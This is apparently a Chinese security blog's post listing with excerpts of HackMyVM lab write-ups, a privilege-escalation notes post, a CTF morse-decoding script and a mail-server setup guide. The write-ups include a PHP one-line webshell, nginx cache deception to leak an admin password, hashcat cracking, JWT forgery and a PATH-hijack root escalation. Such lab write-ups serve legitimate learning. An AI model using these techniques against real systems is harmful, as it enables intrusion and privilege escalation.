HMV NoPort | Writeup

主机发现后先扫一下端口 只有一个80端口,接着扫目录 发现有.git,直接githack下来 会发现有一个swp状态的文件 先vim -r .test.php.swp恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计 先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系 nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知,继续往下看 引用了ctf.conf 可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样 并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php 在index.php可以归结出3种路由 第一种是visit 可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。 第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方 第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入 一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码 第二种是直接去访问路径里的其他文件 接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。 接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。 我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗? 所以我们可以构造这样一个payload uri=profile/1.css 可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css就能得到结果 拿到密码后发现直接用这串密码是sha256加密过的,需要爆破 把密码存进hash文件里,直接上rockyou hashcat -m 1400 -a 0 hash rockyou.txt 得到明文starbucks 登陆后看到可以执行命令 直接写一句马上蚁剑 echo -n '<?php eval($_POST[1]);?>' > 1.php 在/var/www看到一个文件pass 翻译过来就是用户密码就是前面我们拿到的那个登录密码,尝试直接su会发现没有权限,所以应该是有别的方法。在/opt/hello下发现一个readme 翻译过来就是nginx会随着机器的重启而重启,下面附了一个建议,建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃 并在home下发现用户名 先看一下sudo -l,发现可以reboot 并且发现ssh服务,但是监听的是127,所以要想办法把这个端口映射出去 那就到nginx配置目录下看看 ...

April 9, 2025 · 1 min · Red

HMV Tryharder | Writeup

第一个一血,记录一下 Foothood 打开后发现有一个API调试路径 进来后是一个登录框 接着bp直接爆破, 进来后抓个包发现是jwt 直接丢到jwt.io看一下 很典的HS256,空密钥改admin,然后丢jwt_tool里先梭一把试试 上来了,接着直接传马发现不对劲 上.htaccess 拿下 连蚁剑,方便后面操作 直接冲/home,看一下能不能读,发现可以直接读flag 提权 - pentester 接着应该就是要想办法先拿到pentester,看一下/etc/passwd 看不懂思密达,丢给d老师问一下 感觉没啥用,那就只能继续信息搜集。这里卡了好一会儿,直到去opt逛了逛,发现他们几个 有nc,先弹个shell 跑一下pty,再跑一下pspy64 发现srv下面有东西,去看看 (这是在致敬2025 CCB吗= =) 拿刚才GECOS里的文本对照一下 发现有些字符不一样,就可以联想到二进制,一样的是1,不一样的是0(或者一样的是0,不一样的是1,两个我都试了一下)让d老师搓一个脚本对比就行 提取 - xiix 发现没有netstat,那就直接上fscan 有个8989,并且联想到刚才被xiix执行的backdoor.py,直接nc梭一波试试 提权 - root 写authorized_keys上来后,发现有个guess_game,跑一下 emm运气得留在更重要的地方🙏所以找找有没有别的办法,因为是游戏,所以第一时间想到可能留有后门。看一下env 有个1337,试试? ...

April 9, 2025 · 1 min · Red

[HMV]第二章

7066端口 这个端口一般是马,可以直接用nc连试试。不过可能会断联,nmap也可能探测不出来,要多尝试几次 bash中的比较 如果使用-ne,-eq等比较两个值是否相等的办法,会先将变量作为表达式进行执行解析,尝试转化为整数。例如 read -p ">>>" a b=456 if [[ $a -eq $b ]]; then #这里注意,[[]]里要用空格和$a、$b隔开,不然会报错 echo "right" else echo "wrong" fi 可以发现b被直接拿去解析了。就算加引号也会递归 read -p ">>>" a b="c" c=123 if [[ "$a" -eq "$b" ]]; then echo "right" else echo "wrong" fi 代码里是加了""的,但是在debug模式下就不见了,说明bash确实会执行给的表达式 那我们就可以利用递归这一点进行利用。先试试数组 成功利用,试试c[1] 因为c[1]是空的所以是wrong。接着再试试算式 成功执行,那就试试$()吧 wine提权 wine是用来转椅windows程序的,并且自带了windows的cmd环境。如果wine有sudo,可以直接用sudo wine cmd拿到拥有root权限的cmd 当然要是不行的话,也可以用cs上线的方式拿到shell。msfvenom会报错,原因不明。 PATH提权 和windows里的path环境变量有点类似,linux下的PATH一般指向程序的运行路径。例如我们常用的cat,ls等指令,之所以可以直接执行而不用在前面加一大串路径就是因为PATH里给你写好了,比如这是我自己的kali PATH 只要在这些路径下的可执行程序或脚本都可以直接上。 那么这就有可以操作的空间,如果某天你碰到一个开发者自己编译的程序,用string看到里面调用了cat或者ls,并且有suid,那么只需要做下面这波操作就能提权。下面以cat为例 export PATH=/tmp:PATH echo -e '#!/bin/bash\nbash -p' > /tmp/cat chmod +x /tmp/cat ./开发者的程序

March 31, 2025 · 1 min · Red

24-25下半学年第二次线上赛 | Writeup

莫斯档案馆 每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。 from PIL import Image import re def getMorse(image): """ 从图像中提取莫尔斯电码 假定背景颜色是固定的,莫尔斯电码具有不同的颜色。 莫尔斯电码可以是任何颜色,只要它与左上像素的颜色不同。 >>> getMorse('pwd.png') ['----.'] """ im = Image.open(image, 'r') chars = [] background = im.getdata()[0] for i, v in enumerate(list(im.getdata())): if v == background: chars.append(" ") else: chars.append("*") output = "".join(chars) # 清理输出,去除前后的空白 # 然后将每组3个星号转换为短横线 # 将星号转换为实际的点 # 将字母之间的空格(即>1个背景像素)转换为分隔符 # 删除空白 # 返回字母的列表 output = re.sub(r'^\s*', '', output) output = re.sub(r'\s*$', '', output) output = re.sub(r'\*{3}', '-', output) output = re.sub(r'\*', '.', output) output = re.sub(r'\s{2,}', ' | ', output) output = re.sub(r'\s', '', output) output = output.split('|') return output def getPassword(morse): """ 解码莫尔斯电码 将莫尔斯电码转换回文本。 以字母列表为输入,返回转换后的文本。 注意,挑战使用小写字母。 >>> getPassword(['----.']) '9' """ MORSE_CODE_DICT = { '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E', '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T', '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1', '..---': '2', '...--': '3', '....-': '4', '.....': '5', '-....': '6', '--...': '7', '---..': '8', '----.': '9', '-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?', '-.--.': '(', '-....-': '-', '--..--': ',' } for item in morse: return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower() def main(): """ 自动启动 用于自动化。 自动调用方法并使用'pwd.png'作为输入图像。 """ print(getPassword(getMorse("pwd.png"))) if __name__ == "__main__": main() 并使用sh脚本去循环执行 ...

March 31, 2025 · 9 min · Red

[技术杂谈]安全的个人邮箱服务搭建

⚠️本篇属于过程回忆,我的搭建过程并不完全按照文章路线来,期间解决dovect和certbot导致我的整个搭建过程比较混乱,本篇文章是事后总结出的一条比较可靠的搭建路线,如果照着文章搭建有概率碰到奇怪的小问题,毕竟我也没有验证^_^ 一个合格的hacker一定有一个自己的邮箱地址和服务 我的搭建环境为AWS送的一年EC2,系统Debian(一年后到期再说吧= = 域名为porkbun买的.space,并套上cf监控域名访问情况(如果有小可爱在渗透就可以看到) 采购阶段 首先是域名,这个没啥好说的,想在哪里买域名都可以 不过有个比较想骂人的地方是在porkbun买的时候碰到身边七年老用户都没见过的逆天支付bug 成功付款后域名并未到账= = 当时急得不行,发邮件反馈等了一天,最后官方给我平台自己的等值货币 但是…… 处理很人性化,后来朋友说应该是striple接口的问题而不是porkbun的问题,所以大家要想用porkbun还是可以放心用,要是碰到我这样的情况也别慌,发邮件反馈,一天内就会回复(应该不是每个人都有我这样的bug触发圣体…… 然后是vps,EC2领取教程网上一搜一把,我就不多介绍了 搭建阶段 1 - 安装postfix和dovecot并进行基本配置 AWS选择debian系统,进去后先安装postfix和devocot。前者用于发件,后者用于收件 sudo apt update && sudo apt upgrade -y sudo apt install postfix dovecot-core dovecot-imapd mailutils -y 这里我没有安装pop3,如果需要pop3可以再加一句apt install dovecot-pop3d -y 顺便简单介绍一下pop3和imap的区别 POP3: POP3通过将邮件从服务器下载到本地设备(如电脑或手机)来工作。下载后,邮件通常会从服务器上删除(除非手动设置保留副本)。它更像是一种“取走邮件”的方式,适合离线阅读。 IMAP: IMAP允许你在服务器上直接管理和查看邮件,而无需将它们下载到本地设备。本地设备只是显示服务器上的邮件内容,所有操作(如删除、移动文件夹)都会同步到服务器。 接着配置postfix vim /etc/postfix/main.cf myhostname = yourdomainname.com mydomain = yourdomainname.com myorigin = /etc/mailname mydestination = $myhostname, localhost.$mydomain, localhost inet_interfaces = all inet_protocols = all home_mailbox = Maildir/ 然后配置dovecot,首先配置主文件 ...

March 28, 2025 · 2 min · Red